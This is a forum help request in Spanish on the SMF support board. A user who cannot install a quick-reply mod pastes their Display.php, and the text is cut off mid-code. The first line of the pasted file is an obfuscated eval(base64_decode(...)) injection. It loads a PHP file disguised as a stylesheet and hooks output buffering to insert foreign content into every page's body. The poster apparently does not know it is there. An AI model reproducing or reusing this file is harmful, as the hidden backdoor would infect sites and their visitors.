Uutiset:

Bored?  Looking to kill some time?  Want to chat with other SMF users?  Join us in IRC chat or Discord

Main Menu
Advertisement:

Problemas con Enhanced Quick Reply Mod

Aloittaja onlychriss, toukokuu 09, 2009, 04:18:17 IP

« edellinen - seuraava »

onlychriss

Bueno ya intente instalar este mod y no me deja, me dice que problemas con Display.template.php lo quise instalar manualmente y no me sale nada, lo unico que sucede es que si pongo los datos que pide el manual salen las letras hasta arriba del foro, me imagino que estoy haciendo algo mal alguien me podria ayudar.

Dejo los archivos por si algun buen samaritano, me ayuda a editarlos

Mi smf es el 1.8 y uso el Dilber MC

Este es el display

[code] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS93ZWJjcmVhdC9wdWJsaWNfaHRtbC9mb3JvL3dpa2kvbGliL2Zja2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvd2ViY3JlYXQvcHVibGljX2h0bWwvZm9yby93aWtpL2xpYi9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php
/**********************************************************************************
* Display.php                                                                     *
***********************************************************************************
* SMF: Simple Machines Forum                                                      *
* Open-Source Project Inspired by Zef Hemel ([email protected])                    *
* =============================================================================== *
* Software Version:           SMF 1.1.4                                           *
* Software by:                Simple Machines (http://www.simplemachines.org)     *
* Copyright 2006-2007 by:     Simple Machines LLC (http://www.simplemachines.org) *
*           2001-2006 by:     Lewis Media (http://www.lewismedia.com)             *
* Support, News, Updates at:  http://www.simplemachines.org                       *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under   *
* the terms of the provided license as published by Simple Machines LLC.          *
*                                                                                 *
* This program is distributed in the hope that it is and will be useful, but      *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY    *
* or FITNESS FOR A PARTICULAR PURPOSE.                                            *
*                                                                                 *
* See the "license.txt" file for details of the Simple Machines license.          *
* The latest version can always be found at http://www.simplemachines.org.        *
**********************************************************************************/
if (!defined('SMF'))
   die('Hacking attempt...');

/*   This is perhaps the most important and probably most accessed files in all
   of SMF.  This file controls topic, message, and attachment display.  It
   does so with the following functions:

   void Display()
      - loads the posts in a topic up so they can be displayed.
      - supports wireless, using wap/wap2/imode and the Wireless templates.
      - uses the main sub template of the Display template.
      - requires a topic, and can go to the previous or next topic from it.
      - jumps to the correct post depending on a number/time/IS_MSG passed.
      - depends on the defaultMaxMessages and enableAllMessages settings.
      - is accessed by ?topic=ID_TOPIC.START.

   array prepareDisplayContext(bool reset = false)
      - actually gets and prepares the message context.
      - starts over from the beginning if reset is set to true, which is
        useful for showing an index before or after the posts.

   void Download()
      - downloads an attachment or avatar, and increments the downloads.
      - requires the view_attachments permission. (not for avatars!)
      - disables the session parser, and clears any previous output.
      - depends on the attachmentUploadDir setting being correct.
      - is accessed via the query string ?action=dlattach.
      - views to attachments and avatars do not increase hits and are not
        logged in the "Who's Online" log.

   array loadAttachmentContext(int ID_MSG)
      - loads an attachment's contextual data including, most importantly,
        its size if it is an image.
      - expects the $attachments array to have been filled with the proper
        attachment data, as Display() does.
      - requires the view_attachments permission to calculate image size.
      - attempts to keep the "aspect ratio" of the posted image in line,
        even if it has to be resized by the max_image_width and
        max_image_height settings.
*/

// The central part of the board - topic display.
function Display()
{
   global $scripturl, $txt, $db_prefix, $modSettings, $context, $settings;
   global $options, $sourcedir, $user_info, $ID_MEMBER, $board_info, $topic;
   global $board, $attachments, $messages_request, $language;

   // What are you gonna display if these are empty?!
   if (empty($topic))
      fatal_lang_error('smf232', false);

   // Load the proper template and/or sub template.
   if (WIRELESS)
      $context['sub_template'] = WIRELESS_PROTOCOL . '_display';
   else
      loadTemplate('Display');

   // Not only does a prefetch make things slower for the server, but it makes it impossible to know if they read it.
   if (isset($_SERVER['HTTP_X_MOZ']) && $_SERVER['HTTP_X_MOZ'] == 'prefetch')
   {
      ob_end_clean();
      header('HTTP/1.1 403 Prefetch Forbidden');
      die;
   }

   // Find the previous or next topic.  Make a fuss if there are no more.
   if (isset($_REQUEST['prev_next']) && ($_REQUEST['prev_next'] == 'prev' || $_REQUEST['prev_next'] == 'next'))
   {
      // No use in calculating the next topic if there's only one.
      if ($board_info['num_topics'] > 1)
      {
         // Just prepare some variables that are used in the query.
         $gt_lt = $_REQUEST['prev_next'] == 'prev' ? '>' : '<';
         $order = $_REQUEST['prev_next'] == 'prev' ? '' : ' DESC';

         $request = db_query("
            SELECT t2.ID_TOPIC
            FROM ({$db_prefix}topics AS t, {$db_prefix}topics AS t2)
            WHERE t.ID_TOPIC = $topic" . (empty($modSettings['enableStickyTopics']) ? "
               AND t2.ID_LAST_MSG $gt_lt t.ID_LAST_MSG" : "
               AND ((t2.ID_LAST_MSG $gt_lt t.ID_LAST_MSG AND t2.isSticky $gt_lt= t.isSticky) OR t2.isSticky $gt_lt t.isSticky)") . "
               AND t2.ID_BOARD = $board
            ORDER BY" . (empty($modSettings['enableStickyTopics']) ? '' : " t2.isSticky$order,") . " t2.ID_LAST_MSG$order
            LIMIT 1", __FILE__, __LINE__);

         // No more left.
         if (mysql_num_rows($request) == 0)
         {
            mysql_free_result($request);

            // Roll over - if we're going prev, get the last - otherwise the first.
            $request = db_query("
               SELECT ID_TOPIC
               FROM {$db_prefix}topics
               WHERE ID_BOARD = $board
               ORDER BY" . (empty($modSettings['enableStickyTopics']) ? '' : " isSticky$order,") . " ID_LAST_MSG$order
               LIMIT 1", __FILE__, __LINE__);
         }

         // Now you can be sure $topic is the ID_TOPIC to view.
         list ($topic) = mysql_fetch_row($request);
         mysql_free_result($request);

         $context['current_topic'] = $topic;
      }

      // Go to the newest message on this topic.
      $_REQUEST['start'] = 'new';

      // Duplicate link!  Tell the robots not to link this.
      $context['robot_no_index'] = true;
   }

   // Add 1 to the number of views of this topic.
   if (empty($_SESSION['last_read_topic']) || $_SESSION['last_read_topic'] != $topic)
   {
      db_query("
         UPDATE {$db_prefix}topics
         SET numViews = numViews + 1
         WHERE ID_TOPIC = $topic
         LIMIT 1", __FILE__, __LINE__);

      $_SESSION['last_read_topic'] = $topic;
   }

   // Get all the important topic info.
   $request = db_query("
      SELECT
         t.numReplies, t.numViews, t.locked, ms.subject, t.isSticky, t.ID_POLL,
         t.ID_MEMBER_STARTED, t.ID_FIRST_MSG, t.ID_LAST_MSG,
         " . ($user_info['is_guest'] ? '0' : 'IFNULL(lt.ID_MSG, -1) + 1') . " AS new_from
      FROM ({$db_prefix}topics AS t, {$db_prefix}messages AS ms)" . ($user_info['is_guest'] ? '' : "
         LEFT JOIN {$db_prefix}log_topics AS lt ON (lt.ID_TOPIC = $topic AND lt.ID_MEMBER = $ID_MEMBER)") ."
      WHERE t.ID_TOPIC = $topic
         AND ms.ID_MSG = t.ID_FIRST_MSG
      LIMIT 1", __FILE__, __LINE__);
   if (mysql_num_rows($request) == 0)
      fatal_lang_error(472, false);
   $topicinfo = mysql_fetch_assoc($request);
   mysql_free_result($request);

   // The start isn't a number; it's information about what to do, where to go.
   if (!is_numeric($_REQUEST['start']))
   {
      // Redirect to the page and post with new messages, originally by Omar Bazavilvazo.
      if ($_REQUEST['start'] == 'new')
      {
         // Guests automatically go to the last topic.
         if ($user_info['is_guest'])
         {
            $context['start_from'] = $topicinfo['numReplies'];
            $_REQUEST['start'] = empty($options['view_newest_first']) ? $context['start_from'] : 0;
         }
         else
         {
            // Find the earliest unread message in the topic. (the use of topics here is just for both tables.)
            $request = db_query("
               SELECT IFNULL(lt.ID_MSG, IFNULL(lmr.ID_MSG, -1)) + 1 AS new_from
               FROM {$db_prefix}topics AS t
                  LEFT JOIN {$db_prefix}log_topics AS lt ON (lt.ID_TOPIC = $topic AND lt.ID_MEMBER = $ID_MEMBER)
                  LEFT JOIN {$db_prefix}log_mark_read AS lmr ON (lmr.ID_BOARD = $board AND lmr.ID_MEMBER = $ID_MEMBER)
               WHERE t.ID_TOPIC = $topic
               LIMIT 1", __FILE__, __LINE__);
            list ($new_from) = mysql_fetch_row($request);
            mysql_free_result($request);

            // Fall through to the next if statement.
            $_REQUEST['start'] = 'msg' . $new_from;
         }
      }

      // Start from a certain time index, not a message.
      if (substr($_REQUEST['start'], 0, 4) == 'from')
      {
         $timestamp = (int) substr($_REQUEST['start'], 4);
         if ($timestamp === 0)
            $_REQUEST['start'] = 0;
         else
         {
            // Find the number of messages posted before said time...
            $request = db_query("
               SELECT COUNT(*)
               FROM {$db_prefix}messages
               WHERE posterTime < $timestamp
                  AND ID_TOPIC = $topic", __FILE__, __LINE__);
            list ($context['start_from']) = mysql_fetch_row($request);
            mysql_free_result($request);

            // Handle view_newest_first options, and get the correct start value.
            $_REQUEST['start'] = empty($options['view_newest_first']) ? $context['start_from'] : $topicinfo['numReplies'] - $context['start_from'];
         }
      }
         
      // Link to a message...
      elseif (substr($_REQUEST['start'], 0, 3) == 'msg')
      {
         $virtual_msg = (int) substr($_REQUEST['start'], 3);
         if ($virtual_msg >= $topicinfo['ID_LAST_MSG'])
            $context['start_from'] = $topicinfo['numReplies'];
         elseif ($virtual_msg <= $topicinfo['ID_FIRST_MSG'])
            $context['start_from'] = 0;
         else
         {
            // Find the start value for that message......
            $request = db_query("
               SELECT COUNT(*)
               FROM {$db_prefix}messages
               WHERE ID_MSG < $virtual_msg
                  AND ID_TOPIC = $topic", __FILE__, __LINE__);
            list ($context['start_from']) = mysql_fetch_row($request);
            mysql_free_result($request);
         }
         
         // We need to reverse the start as well in this case.
         $_REQUEST['start'] = empty($options['view_newest_first']) ? $context['start_from'] : $topicinfo['numReplies'] - $context['start_from'];

         $context['robot_no_index'] = true;
      }
   }

   // Create a previous next string if the selected theme has it as a selected option.
   $context['previous_next'] = $modSettings['enablePreviousNext'] ? '<a href="' . $scripturl . '?topic=' . $topic . '.0;prev_next=prev#new">' . $txt['previous_next_back'] . '</a> <a href="' . $scripturl . '?topic=' . $topic . '.0;prev_next=next#new">' . $txt['previous_next_forward'] . '</a>' : '';

   // Check if spellchecking is both enabled and actually working. (for quick reply.)
   $context['show_spellchecking'] = !empty($modSettings['enableSpellChecking']) && function_exists('pspell_new');

   // Censor the title...
   censorText($topicinfo['subject']);
   $context['page_title'] = $topicinfo['subject'];

   $context['num_replies'] = $topicinfo['numReplies'];
   $context['topic_first_message'] = $topicinfo['ID_FIRST_MSG'];

   // Is this topic sticky, or can it even be?
   $topicinfo['isSticky'] = empty($modSettings['enableStickyTopics']) ? '0' : $topicinfo['isSticky'];

   // Default this topic to not marked for notifications... of course...
   $context['is_marked_notify'] = false;

   // Guests can't mark topics read or for notifications, just can't sorry.
   if (!$user_info['is_guest'])
   {
      // Mark the topic as read :)
      if (!empty($topicinfo['new_from']))
      {
         db_query("
            UPDATE {$db_prefix}log_topics
            SET ID_MSG = $modSettings[maxMsgID]
            WHERE ID_MEMBER = $ID_MEMBER
               AND ID_TOPIC = $topic
            LIMIT 1", __FILE__, __LINE__);

         $flag = db_affected_rows() !== 0;
      }

      if (empty($flag))
         db_query("
            REPLACE INTO {$db_prefix}log_topics
               (ID_MSG, ID_MEMBER, ID_TOPIC)
            VALUES ($modSettings[maxMsgID], $ID_MEMBER, $topic)", __FILE__, __LINE__);

      // Check for notifications on this topic OR board.
      $request = db_query("
         SELECT sent, ID_TOPIC
         FROM {$db_prefix}log_notify
         WHERE (ID_TOPIC = $topic OR ID_BOARD = $board)
            AND ID_MEMBER = $ID_MEMBER
         LIMIT 2", __FILE__, __LINE__);
      $do_once = true;
      while ($row = mysql_fetch_assoc($request))
      {
         // Find if this topic is marked for notification...
         if (!empty($row['ID_TOPIC']))
            $context['is_marked_notify'] = true;

         // Only do this once, but mark the notifications as "not sent yet" for next time.
         if (!empty($row['sent']) && $do_once)
         {
            db_query("
               UPDATE {$db_prefix}log_notify
               SET sent = 0
               WHERE (ID_TOPIC = $topic OR ID_BOARD = $board)
                  AND ID_MEMBER = $ID_MEMBER
               LIMIT 2", __FILE__, __LINE__);
            $do_once = false;
         }
      }

      // Have we recently cached the number of new topics in this board, and it's still a lot?
      if (isset($_REQUEST['topicseen']) && isset($_SESSION['topicseen_cache'][$board]) && $_SESSION['topicseen_cache'][$board] > 5)
         $_SESSION['topicseen_cache'][$board]--;
      // Mark board as seen if this is the only new topic.
      elseif (isset($_REQUEST['topicseen']))
      {
         // Use the mark read tables... and the last visit to figure out if this should be read or not.
         $request = db_query("
            SELECT COUNT(*)
            FROM {$db_prefix}topics AS t
               LEFT JOIN {$db_prefix}log_boards AS lb ON (lb.ID_BOARD = $board AND lb.ID_MEMBER = $ID_MEMBER)
               LEFT JOIN {$db_prefix}log_topics AS lt ON (lt.ID_TOPIC = t.ID_TOPIC AND lt.ID_MEMBER = $ID_MEMBER)
            WHERE t.ID_BOARD = $board
               AND t.ID_LAST_MSG > IFNULL(lb.ID_MSG, 0)
               AND t.ID_LAST_MSG > IFNULL(lt.ID_MSG, 0)" . (empty($_SESSION['ID_MSG_LAST_VISIT']) ? '' : "
               AND t.ID_LAST_MSG > $_SESSION[ID_MSG_LAST_VISIT]"), __FILE__, __LINE__);
         list ($numNewTopics) = mysql_fetch_row($request);
         mysql_free_result($request);

         // If there're no real new topics in this board, mark the board as seen.
         if (empty($numNewTopics))
            $_REQUEST['boardseen'] = true;
         else
            $_SESSION['topicseen_cache'][$board] = $numNewTopics;
      }
      // Probably one less topic - maybe not, but even if we decrease this too fast it will only make us look more often.
      elseif (isset($_SESSION['topicseen_cache'][$board]))
         $_SESSION['topicseen_cache'][$board]--;

      // Mark board as seen if we came using last post link from BoardIndex. (or other places...)
      if (isset($_REQUEST['boardseen']))
      {
         db_query("
            REPLACE INTO {$db_prefix}log_boards
               (ID_MSG, ID_MEMBER, ID_BOARD)
            VALUES ($modSettings[maxMsgID], $ID_MEMBER, $board)", __FILE__, __LINE__);
      }
   }

   // Let's get nosey, who is viewing this topic?
   if (!empty($settings['display_who_viewing']))
   {
      // Start out with no one at all viewing it.
      $context['view_members'] = array();
      $context['view_members_list'] = array();
      $context['view_num_hidden'] = 0;

      // Search for members who have this topic set in their GET data.
      $request = db_query("
         SELECT
            lo.ID_MEMBER, lo.logTime, mem.realName, mem.memberName, mem.showOnline,
            mg.onlineColor, mg.ID_GROUP, mg.groupName
         FROM {$db_prefix}log_online AS lo
            LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = lo.ID_MEMBER)
            LEFT JOIN {$db_prefix}membergroups AS mg ON (mg.ID_GROUP = IF(mem.ID_GROUP = 0, mem.ID_POST_GROUP, mem.ID_GROUP))
         WHERE INSTR(lo.url, 's:5:\"topic\";i:$topic;') OR lo.session = '" . ($user_info['is_guest'] ? 'ip' . $user_info['ip'] : session_id()) . "'", __FILE__, __LINE__);
      while ($row = mysql_fetch_assoc($request))
      {
         if (empty($row['ID_MEMBER']))
            continue;

         if (!empty($row['onlineColor']))
            $link = '<a href="' . $scripturl . '?action=profile;u=' . $row['ID_MEMBER'] . '" style="color: ' . $row['onlineColor'] . ';">' . $row['realName'] . '</a>';
         else
            $link = '<a href="' . $scripturl . '?action=profile;u=' . $row['ID_MEMBER'] . '">' . $row['realName'] . '</a>';

         $is_buddy = in_array($row['ID_MEMBER'], $user_info['buddies']);
         if ($is_buddy)
            $link = '<b>' . $link . '</b>';

         // Add them both to the list and to the more detailed list.
         if (!empty($row['showOnline']) || allowedTo('moderate_forum'))
            $context['view_members_list'][$row['logTime'] . $row['memberName']] = empty($row['showOnline']) ? '<i>' . $link . '</i>' : $link;
         $context['view_members'][$row['logTime'] . $row['memberName']] = array(
            'id' => $row['ID_MEMBER'],
            'username' => $row['memberName'],
            'name' => $row['realName'],
            'group' => $row['ID_GROUP'],
            'href' => $scripturl . '?action=profile;u=' . $row['ID_MEMBER'],
            'link' => $link,
            'is_buddy' => $is_buddy,
            'hidden' => empty($row['showOnline']),
         );

         if (empty($row['showOnline']))
            $context['view_num_hidden']++;
      }

      // The number of guests is equal to the rows minus the ones we actually used ;).
      $context['view_num_guests'] = mysql_num_rows($request) - count($context['view_members']);
      mysql_free_result($request);

      // Sort the list.
      krsort($context['view_members']);
      krsort($context['view_members_list']);
   }

   // If all is set, but not allowed... just unset it.
   if (isset($_REQUEST['all']) && empty($modSettings['enableAllMessages']))
      unset($_REQUEST['all']);
   // Otherwise, it must be allowed... so pretend start was -1.
   elseif (isset($_REQUEST['all']))
      $_REQUEST['start'] = -1;

   // Construct the page index, allowing for the .START method...
   $context['page_index'] = constructPageIndex($scripturl . '?topic=' . $topic . '.%d', $_REQUEST['start'], $topicinfo['numReplies'] + 1, $modSettings['defaultMaxMessages'], true);
   $context['start'] = $_REQUEST['start'];

   // This is information about which page is current, and which page we're on - in case you don't like the constructed page index. (again, wireles..)
   $context['page_info'] = array(
      'current_page' => $_REQUEST['start'] / $modSettings['defaultMaxMessages'] + 1,
      'num_pages' => floor($topicinfo['numReplies'] / $modSettings['defaultMaxMessages']) + 1
   );

   // Figure out all the link to the next/prev/first/last/etc. for wireless mainly.
   $context['links'] = array(
      'first' => $_REQUEST['start'] >= $modSettings['defaultMaxMessages'] ? $scripturl . '?topic=' . $topic . '.0' : '',
      'prev' => $_REQUEST['start'] >= $modSettings['defaultMaxMessages'] ? $scripturl . '?topic=' . $topic . '.' . ($_REQUEST['start'] - $modSettings['defaultMaxMessages']) : '',
      'next' => $_REQUEST['start'] + $modSettings['defaultMaxMessages'] < $topicinfo['numReplies'] + 1 ? $scripturl . '?topic=' . $topic. '.' . ($_REQUEST['start'] + $modSettings['defaultMaxMessages']) : '',
      'last' => $_REQUEST['start'] + $modSettings['defaultMaxMessages'] < $topicinfo['numReplies'] + 1 ? $scripturl . '?topic=' . $topic. '.' . (floor($topicinfo['numReplies'] / $modSettings['defaultMaxMessages']) * $modSettings['defaultMaxMessages']) : '',
      'up' => $scripturl . '?board=' . $board . '.0'
   );

   // If they are viewing all the posts, show all the posts, otherwise limit the number.
   if (!empty($modSettings['enableAllMessages']) && $topicinfo['numReplies'] + 1 > $modSettings['defaultMaxMessages'] && $topicinfo['numReplies'] + 1 < $modSettings['enableAllMessages'])
   {
      if (isset($_REQUEST['all']))
      {
         // No limit! (actually, there is a limit, but...)
         $modSettings['defaultMaxMessages'] = -1;
         $context['page_index'] .= empty($modSettings['compactTopicPagesEnable']) ? '<b>' . $txt[190] . '</b> ' : '[<b>' . $txt[190] . '</b>] ';

         // Set start back to 0...
         $_REQUEST['start'] = 0;
      }
      // They aren't using it, but the *option* is there, at least.
      else
         $context['page_index'] .= '&nbsp;<a href="' . $scripturl . '?topic=' . $topic . '.0;all">' . $txt[190] . '</a> ';
   }

   // Build the link tree.
   $context['linktree'][] = array(
      'url' => $scripturl . '?topic=' . $topic . '.0',
      'name' => $topicinfo['subject'],
      'extra_before' => $settings['linktree_inline'] ? $txt[118] . ': ' : ''
   );

   // Build a list of this board's moderators.
   $context['moderators'] = &$board_info['moderators'];
   $context['link_moderators'] = array();
   if (!empty($board_info['moderators']))
   {
      // Add a link for each moderator...
      foreach ($board_info['moderators'] as $mod)
         $context['link_moderators'][] = '<a href="' . $scripturl . '?action=profile;u=' . $mod['id'] . '" title="' . $txt[62] . '">' . $mod['name'] . '</a>';

      // And show it after the board's name.
      $context['linktree'][count($context['linktree']) - 2]['extra_after'] = ' (' . (count($context['link_moderators']) == 1 ? $txt[298] : $txt[299]) . ': ' . implode(', ', $context['link_moderators']) . ')';
   }

   // Information about the current topic...
   $context['is_locked'] = $topicinfo['locked'];
   $context['is_sticky'] = $topicinfo['isSticky'];
   $context['is_very_hot'] = $topicinfo['numReplies'] >= $modSettings['hotTopicVeryPosts'];
   $context['is_hot'] = $topicinfo['numReplies'] >= $modSettings['hotTopicPosts'];

   // We don't want to show the poll icon in the topic class here, so pretend it's not one.
   $context['is_poll'] = false;
   determineTopicClass($context);

   $context['is_poll'] = $topicinfo['ID_POLL'] > 0 && $modSettings['pollMode'] == '1' && allowedTo('poll_view');

   // Did this user start the topic or not?
   $context['user']['started'] = $ID_MEMBER == $topicinfo['ID_MEMBER_STARTED'] && !$user_info['is_guest'];
   $context['topic_starter_id'] = $topicinfo['ID_MEMBER_STARTED'];

   // Set the topic's information for the template.
   $context['subject'] = $topicinfo['subject'];
   $context['num_views'] = $topicinfo['numViews'];
   $context['mark_unread_time'] = $topicinfo['new_from'];

   // For quick reply we need a response prefix in the default forum language.
   if (!isset($context['response_prefix']) && !($context['response_prefix'] = cache_get_data('response_prefix')))
   {
      if ($language === $user_info['language'])
         $context['response_prefix'] = $txt['response_prefix'];
      else
      {
         loadLanguage('index', $language, false);
         $context['response_prefix'] = $txt['response_prefix'];
         loadLanguage('index');
      }
      cache_put_data('response_prefix', $context['response_prefix'], 600);
   }

   // If we want to show event information in the topic, prepare the data.
   if (allowedTo('calendar_view') && !empty($modSettings['cal_showInTopic']) && !empty($modSettings['cal_enabled']))
   {
      // First, try create a better time format, ignoring the "time" elements.
      if (preg_match('~%[AaBbCcDdeGghjmuYy](?:[^%]*%[AaBbCcDdeGghjmuYy])*~', $user_info['time_format'], $matches) == 0 || empty($matches[0]))
         $date_string = $user_info['time_format'];
      else
         $date_string = $matches[0];

      // Any calendar information for this topic?
      $request = db_query("
         SELECT cal.ID_EVENT, cal.startDate, cal.endDate, cal.title, cal.ID_MEMBER, mem.realName
         FROM {$db_prefix}calendar AS cal
            LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = cal.ID_MEMBER)
         WHERE cal.ID_TOPIC = $topic
         ORDER BY startDate", __FILE__, __LINE__);
      $context['linked_calendar_events'] = array();
      while ($row = mysql_fetch_assoc($request))
      {
         // Prepare the dates for being formatted.
         $startDate = sscanf($row['startDate'], '%04d-%02d-%02d');
         $startDate = mktime(12, 0, 0, $startDate[1], $startDate[2], $startDate[0]);
         $endDate = sscanf($row['endDate'], '%04d-%02d-%02d');
         $endDate = mktime(12, 0, 0, $endDate[1], $endDate[2], $endDate[0]);

         $context['linked_calendar_events'][] = array(
            'id' => $row['ID_EVENT'],
            'title' => $row['title'],
            'can_edit' => allowedTo('calendar_edit_any') || ($row['ID_MEMBER'] == $ID_MEMBER && allowedTo('calendar_edit_own')),
            'modify_href' => $scripturl . '?action=post;msg=' . $topicinfo['ID_FIRST_MSG'] . ';topic=' . $topic . '.0;calendar;eventid=' . $row['ID_EVENT'] . ';sesc=' . $context['session_id'],
            'start_date' => timeformat($startDate, $date_string),
            'start_timestamp' => forum_time(true, $startDate),
            'end_date' => timeformat($endDate, $date_string),
            'end_timestamp' => forum_time(true, $startDate),
            'is_last' => false
         );
      }
      mysql_free_result($request);

      if (!empty($context['linked_calendar_events']))
         $context['linked_calendar_events'][count($context['linked_calendar_events']) - 1]['is_last'] = true;
   }

   // Create the poll info if it exists.
   if ($context['is_poll'])
   {
      // Get the question and if it's locked.
      $request = db_query("
         SELECT
            p.question, p.votingLocked, p.hideResults, p.expireTime, p.maxVotes, p.changeVote,
            p.ID_MEMBER, IFNULL(mem.realName, p.posterName) AS posterName,
            COUNT(DISTINCT lp.ID_MEMBER) AS total
         FROM {$db_prefix}polls AS p
            LEFT JOIN {$db_prefix}log_polls AS lp ON (lp.ID_POLL = p.ID_POLL)
            LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = p.ID_MEMBER)
         WHERE p.ID_POLL = $topicinfo[ID_POLL]
         GROUP BY p.ID_POLL
         LIMIT 1", __FILE__, __LINE__);
      $pollinfo = mysql_fetch_assoc($request);
      mysql_free_result($request);

      // Get all the options, and calculate the total votes.
      $request = db_query("
         SELECT pc.ID_CHOICE, pc.label, pc.votes, IFNULL(lp.ID_CHOICE, -1) AS votedThis
         FROM {$db_prefix}poll_choices AS pc
            LEFT JOIN {$db_prefix}log_polls AS lp ON (lp.ID_CHOICE = pc.ID_CHOICE AND lp.ID_POLL = $topicinfo[ID_POLL] AND lp.ID_MEMBER = $ID_MEMBER)
         WHERE pc.ID_POLL = $topicinfo[ID_POLL]", __FILE__, __LINE__);
      $pollOptions = array();
      $realtotal = 0;
      $pollinfo['has_voted'] = false;
      while ($row = mysql_fetch_assoc($request))
      {
         censorText($row['label']);
         $pollOptions[$row['ID_CHOICE']] = $row;
         $realtotal += $row['votes'];
         $pollinfo['has_voted'] |= $row['votedThis'] != -1;
      }
      mysql_free_result($request);

      // Set up the basic poll information.
      $context['poll'] = array(
         'id' => $topicinfo['ID_POLL'],
         'image' => 'normal_' . (empty($pollinfo['votingLocked']) ? 'poll' : 'locked_poll'),
         'question' => parse_bbc($pollinfo['question']),
         'total_votes' => $pollinfo['total'],
         'change_vote' => !empty($pollinfo['changeVote']),
         'is_locked' => !empty($pollinfo['votingLocked']),
         'options' => array(),
         'lock' => allowedTo('poll_lock_any') || ($context['user']['started'] && allowedTo('poll_lock_own')),
         'edit' => allowedTo('poll_edit_any') || ($context['user']['started'] && allowedTo('poll_edit_own')),
         'allowed_warning' => $pollinfo['maxVotes'] > 1 ? sprintf($txt['poll_options6'], $pollinfo['maxVotes']) : '',
         'is_expired' => !empty($pollinfo['expireTime']) && $pollinfo['expireTime'] < time(),
         'expire_time' => !empty($pollinfo['expireTime']) ? timeformat($pollinfo['expireTime']) : 0,
         'has_voted' => !empty($pollinfo['has_voted']),
         'starter' => array(
            'id' => $pollinfo['ID_MEMBER'],
            'name' => $row['posterName'],
            'href' => $pollinfo['ID_MEMBER'] == 0 ? '' : $scripturl . '?action=profile;u=' . $pollinfo['ID_MEMBER'],
            'link' => $pollinfo['ID_MEMBER'] == 0 ? $row['posterName'] : '<a href="' . $scripturl . '?action=profile;u=' . $pollinfo['ID_MEMBER'] . '">' . $row['posterName'] . '</a>'
         )
      );

      // You're allowed to vote if:
      // 1. the poll did not expire, and
      // 2. you're not a guest... and
      // 3. you're not trying to view the results, and
      // 4. the poll is not locked, and
      // 5. you have the proper permissions, and
      // 6. you haven't already voted before.
      $context['allow_vote'] = !$context['poll']['is_expired'] && !$user_info['is_guest'] && empty($pollinfo['votingLocked']) && allowedTo('poll_vote') && !$context['poll']['has_voted'];

      // You're allowed to view the results if:
      // 1. you're just a super-nice-guy, or
      // 2. anyone can see them (hideResults == 0), or
      // 3. you can see them after you voted (hideResults == 1), or
      // 4. you've waited long enough for the poll to expire. (whether hideResults is 1 or 2.)
      $context['allow_poll_view'] = allowedTo('moderate_board') || $pollinfo['hideResults'] == 0 || ($pollinfo['hideResults'] == 1 && $context['poll']['has_voted']) || $context['poll']['is_expired'];
      $context['poll']['show_results'] = $context['allow_poll_view'] && isset($_REQUEST['viewResults']);

      // You're allowed to change your vote if:
      // 1. the poll did not expire, and
      // 2. you're not a guest... and
      // 3. the poll is not locked, and
      // 4. you have the proper permissions, and
      // 5. you have already voted, and
      // 6. the poll creator has said you can!
      $context['allow_change_vote'] = !$context['poll']['is_expired'] && !$user_info['is_guest'] && empty($pollinfo['votingLocked']) && allowedTo('poll_vote') && $context['poll']['has_voted'] && $context['poll']['change_vote'];

      // Calculate the percentages and bar lengths...
      $divisor = $realtotal == 0 ? 1 : $realtotal;

      // Determine if a decimal point is needed in order for the options to add to 100%.
      $precision = $realtotal == 100 ? 0 : 1;

      // Now look through each option, and...
      foreach ($pollOptions as $i => $option)
      {
         // First calculate the percentage, and then the width of the bar...
         $bar = round(($option['votes'] * 100) / $divisor, $precision);
         $barWide = $bar == 0 ? 1 : floor(($bar * 8) / 3);

         // Now add it to the poll's contextual theme data.
         $context['poll']['options'][$i] = array(
            'id' => 'options-' . $i,
            'percent' => $bar,
            'votes' => $option['votes'],
            'voted_this' => $option['votedThis'] != -1,
            'bar' => '<span style="white-space: nowrap;"><img src="' . $settings['images_url'] . '/poll_left.gif" alt="" /><img src="' . $settings['images_url'] . '/poll_middle.gif" width="' . $barWide . '" height="12" alt="-" /><img src="' . $settings['images_url'] . '/poll_right.gif" alt="" /></span>',
